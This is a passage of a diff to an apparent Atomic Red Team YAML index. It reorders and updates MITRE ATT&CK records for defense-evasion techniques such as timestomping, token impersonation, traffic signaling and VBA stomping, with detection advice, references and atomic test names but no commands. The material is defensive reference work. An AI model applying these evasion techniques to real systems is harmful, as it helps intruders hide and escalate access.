+        Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
+
+        Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_contributors:
       - Romain Dumont, ESET
+      x_mitre_detection: 'Forensic techniques exist to detect aspects of files that
+        have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques)
+        It may be possible to detect timestomping using file modification monitoring
+        that collects information on file handle opens and can compare timestamp values.'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1070/006
+        external_id: T1070.006
+        source_name: mitre-attack
+      - source_name: WindowsIR Anti-Forensic Techniques
+        description: 'Carvey, H. (2013, July 23). HowTo: Determine/Detect the use
+          of Anti-Forensics Techniques. Retrieved June 3, 2016.'
+        url: http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html
       identifier: T1070.006
     atomic_tests:
     - name: Set a file's access timestamp
@@ -39975,46 +41198,46 @@ defense-evasion:
         name: powershell
   T1134.001:
     technique:
-      created: '2020-02-18T16:39:06.289Z'
-      modified: '2020-03-26T21:29:18.608Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
       type: attack-pattern
+      modified: '2020-03-26T21:29:18.608Z'
+      name: Token Impersonation/Theft
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-02-18T16:39:06.289Z'
+      x_mitre_defense_bypassed:
+      - Windows User Account Control
+      - System access controls
+      - File system access controls
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d
       description: |-
         Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread.
 
         An adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.
-      name: Token Impersonation/Theft
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1134.001
-        url: https://attack.mitre.org/techniques/T1134/001
-      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
-        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
-          April 21, 2017.
-        source_name: Microsoft Command-line Logging
-      x_mitre_platforms:
-      - Windows
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Command: Command Execution'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
       x_mitre_detection: |-
         If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
 
         Analysts can also monitor for use of Windows APIs such as <code>DuplicateToken(Ex)</code>, <code> ImpersonateLoggedOnUser </code>, and <code> SetThreadToken </code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
-      x_mitre_defense_bypassed:
-      - Windows User Account Control
-      - System access controls
-      - File system access controls
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1134/001
+        external_id: T1134.001
+        source_name: mitre-attack
+      - source_name: Microsoft Command-line Logging
+        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
+          April 21, 2017.
+        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
       identifier: T1134.001
     atomic_tests:
     - name: Named pipe client impersonation
@@ -40047,8 +41270,47 @@ defense-evasion:
         elevation_required: true
   T1205:
     technique:
-      created: '2018-04-18T17:59:24.739Z'
+      type: attack-pattern
       modified: '2021-02-17T14:23:49.495Z'
+      name: Traffic Signaling
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1205
+        external_id: T1205
+        source_name: mitre-attack
+      - source_name: Hartrell cd00r 2002
+        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
+          backdoor. Retrieved October 13, 2018.'
+        url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
+      - url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
+        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
+          IOS devices. Retrieved October 19, 2020.
+        source_name: Cisco Synful Knock Evolution
+      - url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
+        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
+          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
+        source_name: FireEye - Synful Knock
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
+      - url: https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
+        description: Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan
+          To Encrypt Offline Devices. Retrieved February 11, 2021.
+        source_name: Bleeping Computer - Ryuk WoL
+      - url: https://www.amd.com/system/files/TechDocs/20213.pdf
+        description: AMD. (1995, November 1). Magic Packet Technical White Paper.
+          Retrieved February 17, 2021.
+        source_name: AMD Magic Packet
+      - url: https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN
+        description: Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February
+          17, 2021.
+        source_name: GitLab WakeOnLAN
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '2.2'
+      created: '2018-04-18T17:59:24.739Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -40056,41 +41318,14 @@ defense-evasion:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      type: attack-pattern
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1205
-        url: https://attack.mitre.org/techniques/T1205
-      - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
-        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
-          backdoor. Retrieved October 13, 2018.'
-        source_name: Hartrell cd00r 2002
-      - source_name: Cisco Synful Knock Evolution
-        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
-        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
-          IOS devices. Retrieved October 19, 2020.
-      - source_name: FireEye - Synful Knock
-        url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
-        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
-          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      - source_name: Bleeping Computer - Ryuk WoL
-        url: https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
-        description: Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan
-          To Encrypt Offline Devices. Retrieved February 11, 2021.
-      - source_name: AMD Magic Packet
-        url: https://www.amd.com/system/files/TechDocs/20213.pdf
-        description: AMD. (1995, November 1). Magic Packet Technical White Paper.
-          Retrieved February 17, 2021.
-      - source_name: GitLab WakeOnLAN
-        url: https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN
-        description: Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February
-          17, 2021.
+      id: attack-pattern--451a9977-d255-43c9-b431-66de80130c8c
+      revoked: false
+      x_mitre_defense_bypassed:
+      - Defensive network service scanning
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.
 
@@ -40101,56 +41336,44 @@ defense-evasion:
         On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.
 
         Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)
-      name: Traffic Signaling
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--451a9977-d255-43c9-b431-66de80130c8c
-      revoked: false
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '2.2'
-      x_mitre_defense_bypassed:
-      - Defensive network service scanning
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_contributors:
+      - Josh Day, Gigamon
       x_mitre_detection: |-
         Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.
 
         The Wake-on-LAN magic packet consists of 6 bytes of <code>FF</code> followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)
-      x_mitre_network_requirements: true
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
       - Network
-      x_mitre_permissions_required:
-      - User
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_contributors:
-      - Josh Day, Gigamon
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1127:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1127
-        url: https://attack.mitre.org/techniques/T1127
-      - url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
-        description: Nelson, M. (2017, November 17). Bypassing Application Whitelisting
-          By Using dnx.exe. Retrieved May 25, 2017.
-        source_name: engima0x3 DNX Bypass
-      - url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/
-        description: Nelson, M. (2016, November 21). Bypassing Application Whitelisting
-          By Using rcsi.exe. Retrieved May 26, 2017.
-        source_name: engima0x3 RCSI Bypass
-      - url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
-        description: Graeber, M. (2016, August 15). Bypassing Application Whitelisting
-          by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.
-        source_name: Exploit Monday WinDbg
-      - source_name: LOLBAS Tracker
-        url: https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/
-        description: LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.
+      type: attack-pattern
+      name: Trusted Developer Utilities Proxy Execution
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.2'
+      modified: '2021-10-15T23:57:08.312Z'
+      created: '2017-05-31T21:31:39.262Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b
+      x_mitre_defense_bypassed:
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: 'Adversaries may take advantage of trusted developer utilities
         to proxy execution of malicious payloads. There are many utilities used for
         software development related tasks that can be used to execute code in various
@@ -40160,37 +41383,54 @@ defense-evasion:
         legitimate certificates that allow them to execute on a system and proxy execution
         of malicious code through a trusted process that effectively bypasses application
         control solutions.'
-      name: Trusted Developer Utilities Proxy Execution
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b
-      type: attack-pattern
-      kill_chain_phases:
-      - phase_name: defense-evasion
-        kill_chain_name: mitre-attack
-      modified: '2021-03-05T22:25:49.118Z'
-      created: '2017-05-31T21:31:39.262Z'
-      x_mitre_version: '1.2'
       x_mitre_contributors:
       - Casey Smith
       - Matthew Demaske, Adaptforward
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      x_mitre_defense_bypassed:
-      - Application control
       x_mitre_detection: |-
         Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.
 
         Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1127
+        external_id: T1127
+        source_name: mitre-attack
+      - source_name: engima0x3 DNX Bypass
+        description: Nelson, M. (2017, November 17). Bypassing Application Whitelisting
+          By Using dnx.exe. Retrieved May 25, 2017.
+        url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
+      - source_name: engima0x3 RCSI Bypass
+        description: Nelson, M. (2016, November 21). Bypassing Application Whitelisting
+          By Using rcsi.exe. Retrieved May 26, 2017.
+        url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/
+      - source_name: Exploit Monday WinDbg
+        description: Graeber, M. (2016, August 15). Bypassing Application Whitelisting
+          by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.
+        url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
+      - url: https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/
+        description: LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.
+        source_name: LOLBAS Tracker
     atomic_tests: []
   T1535:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Unused/Unsupported Cloud Regions
+      x_mitre_data_sources:
+      - 'Instance: Instance Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-04-22T16:46:43.876Z'
+      created: '2019-09-04T14:35:04.617Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       id: attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761
+      x_mitre_platforms:
+      - IaaS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.
 
@@ -40199,60 +41439,47 @@ defense-evasion:
         A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.
 
         An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)
-      name: Unused/Unsupported Cloud Regions
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1535
-        url: https://attack.mitre.org/techniques/T1535
-      - description: CloudSploit. (2019, June 8). The Danger of Unused AWS Regions.
-          Retrieved October 8, 2019.
-        url: https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc
-        source_name: CloudSploit - Unused AWS Regions
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-22T16:46:43.876Z'
-      created: '2019-09-04T14:35:04.617Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - IaaS
       x_mitre_contributors:
       - Netskope
-      x_mitre_version: '1.1'
-      x_mitre_data_sources:
-      - 'Instance: Instance Creation'
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: 'Monitor system logs to review activities occurring across
         all cloud environments and regions. Configure alerting to notify of activity
         in normally unused regions or if the number of instances active in a region
         goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1535
+        external_id: T1535
+        source_name: mitre-attack
+      - source_name: CloudSploit - Unused AWS Regions
+        description: CloudSploit. (2019, June 8). The Danger of Unused AWS Regions.
+          Retrieved October 8, 2019.
+        url: https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc
     atomic_tests: []
   T1550:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1550
-        url: https://attack.mitre.org/techniques/T1550
-      - source_name: NIST Authentication
-        url: https://csrc.nist.gov/glossary/term/authentication
-        description: NIST. (n.d.). Authentication. Retrieved January 30, 2020.
-      - source_name: NIST MFA
-        url: https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication
-        description: NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January
-          30, 2020.
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
-          June 3, 2016.
-        source_name: TechNet Audit Policy
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Use Alternate Authentication Material
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Creation'
+      - 'Web Credential: Web Credential Usage'
+      - 'Application Log: Application Log Content'
+      - 'User Account: User Account Authentication'
+      - 'Active Directory: Active Directory Credential Request'
+      x_mitre_version: '1.2'
+      modified: '2021-10-17T14:15:31.630Z'
+      created: '2020-01-30T16:18:36.873Z'
+      x_mitre_defense_bypassed:
+      - System Access Controls
+      x_mitre_platforms:
+      - Windows
+      - Office 365
+      - SaaS
+      - Google Workspace
+      - IaaS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814
       description: "Adversaries may use alternate authentication material, such as
         password hashes, Kerberos tickets, and application access tokens, in order
         to move laterally within an environment and bypass normal system access controls.
@@ -40271,19 +41498,11 @@ defense-evasion:
         authentication material, adversaries are able to bypass system access controls
         and authenticate to systems without knowing the plaintext password or any
         additional authentication factors.\n"
-      id: attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: lateral-movement
-      modified: '2021-04-14T18:09:47.427Z'
-      created: '2020-01-30T16:18:36.873Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: false
-      x_mitre_defense_bypassed:
-      - System Access Controls
       x_mitre_detection: 'Configure robust, consistent account activity audit policies
         across the enterprise and with externally accessible services.(Citation: TechNet
         Audit Policy) Look for suspicious account behavior across systems that share
@@ -40295,40 +41514,52 @@ defense-evasion:
         account. Correlate other security systems with login information (e.g., a
         user has an active login session but has not entered the building or does
         not have VPN access).'
-      x_mitre_data_sources:
-      - 'Logon Session: Logon Session Creation'
-      - 'Web Credential: Web Credential Usage'
-      - 'Application Log: Application Log Content'
-      - 'User Account: User Account Authentication'
-      - 'Active Directory: Active Directory Credential Request'
-      x_mitre_platforms:
-      - Windows
-      - Office 365
-      - SaaS
-      - Google Workspace
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1550
+        external_id: T1550
+        source_name: mitre-attack
+      - url: https://csrc.nist.gov/glossary/term/authentication
+        description: NIST. (n.d.). Authentication. Retrieved January 30, 2020.
+        source_name: NIST Authentication
+      - url: https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication
+        description: NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January
+          30, 2020.
+        source_name: NIST MFA
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
     atomic_tests: []
   T1497.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1497.002
-        url: https://attack.mitre.org/techniques/T1497/002
-      - source_name: Sans Virtual Jan 2016
-        url: https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667
-        description: Keragala, D. (2016, January 16). Detecting Malware and Sandbox
-          Evasion Techniques. Retrieved April 17, 2019.
-      - source_name: Unit 42 Sofacy Nov 2018
-        url: https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
-        description: Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global
-          Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019.
-      - source_name: FireEye FIN7 April 2017
-        description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing
-          LNK. Retrieved April 24, 2017.
-        url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: User Activity Based Checks
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T14:57:48.362Z'
+      created: '2020-03-06T21:04:12.454Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Static File Analysis
+      - Signature-based detection
+      - Host forensic analysis
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938
       description: "Adversaries may employ various user activity checks to detect
         and avoid virtualization and analysis environments. This may include changing
         behaviors based on the results of checks for the presence of artifacts indicative
@@ -40337,31 +41568,17 @@ defense-evasion:
         the core functions of the implant. They may also search for VME artifacts
         before dropping secondary or additional payloads. Adversaries may use the
         information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
-        during automated discovery to shape follow-on behaviors. \n\nAdversaries may
-        search for user activity on the host based on variables such as the speed/frequency
-        of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser
-        history, cache, bookmarks, or number of files in common directories such as
-        home or the desktop. Other methods may rely on specific user interaction with
-        the system before the malicious code is activated, such as waiting for a document
-        to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or
-        waiting for a user to double click on an embedded image to activate.(Citation:
-        FireEye FIN7 April 2017) "
-      id: attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2020-07-01T16:32:02.491Z'
-      created: '2020-03-06T21:04:12.454Z'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Static File Analysis
-      - Signature-based detection
-      - Host forensic analysis
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+        during automated discovery to shape follow-on behaviors.(Citation: Deloitte
+        Environment Awareness)\n\nAdversaries may search for user activity on the
+        host based on variables such as the speed/frequency of mouse movements and
+        clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks,
+        or number of files in common directories such as home or the desktop. Other
+        methods may rely on specific user interaction with the system before the malicious
+        code is activated, such as waiting for a document to close before activating
+        a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double
+        click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) "
+      x_mitre_contributors:
+      - Deloitte Threat Library Team
       x_mitre_detection: 'User activity-based checks will likely occur in the first
         steps of an operation but may also occur throughout as an adversary learns
         the environment. Data and events should not be viewed in isolation, but as
@@ -40372,88 +41589,115 @@ defense-evasion:
         processes being spawned that gather a variety of system information or perform
         other forms of Discovery, especially in a short period of time, may aid in
         detection. '
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
-      x_mitre_contributors:
-      - Deloitte Threat Library Team
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1497/002
+        external_id: T1497.002
+        source_name: mitre-attack
+      - url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
+        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
+          May 18, 2021.
+        source_name: Deloitte Environment Awareness
+      - url: https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667
+        description: Keragala, D. (2016, January 16). Detecting Malware and Sandbox
+          Evasion Techniques. Retrieved April 17, 2019.
+        source_name: Sans Virtual Jan 2016
+      - url: https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
+        description: Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global
+          Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019.
+        source_name: Unit 42 Sofacy Nov 2018
+      - source_name: FireEye FIN7 April 2017
+        description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing
+          LNK. Retrieved April 24, 2017.
+        url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
     atomic_tests: []
   T1564.007:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: VBA Stomping
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1564/007
         external_id: T1564.007
-        url: https://attack.mitre.org/techniques/T1564/007
-      - source_name: FireEye VBA stomp Feb 2020
-        url: https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html
+        source_name: mitre-attack
+      - url: https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html
         description: 'Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February
           5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September
           17, 2020.'
-      - source_name: Evil Clippy May 2019
-        url: https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/
+        source_name: FireEye VBA stomp Feb 2020
+      - url: https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/
         description: 'Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant.
           Retrieved September 17, 2020.'
-      - source_name: Microsoft _VBA_PROJECT Stream
-        url: https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239
+        source_name: Evil Clippy May 2019
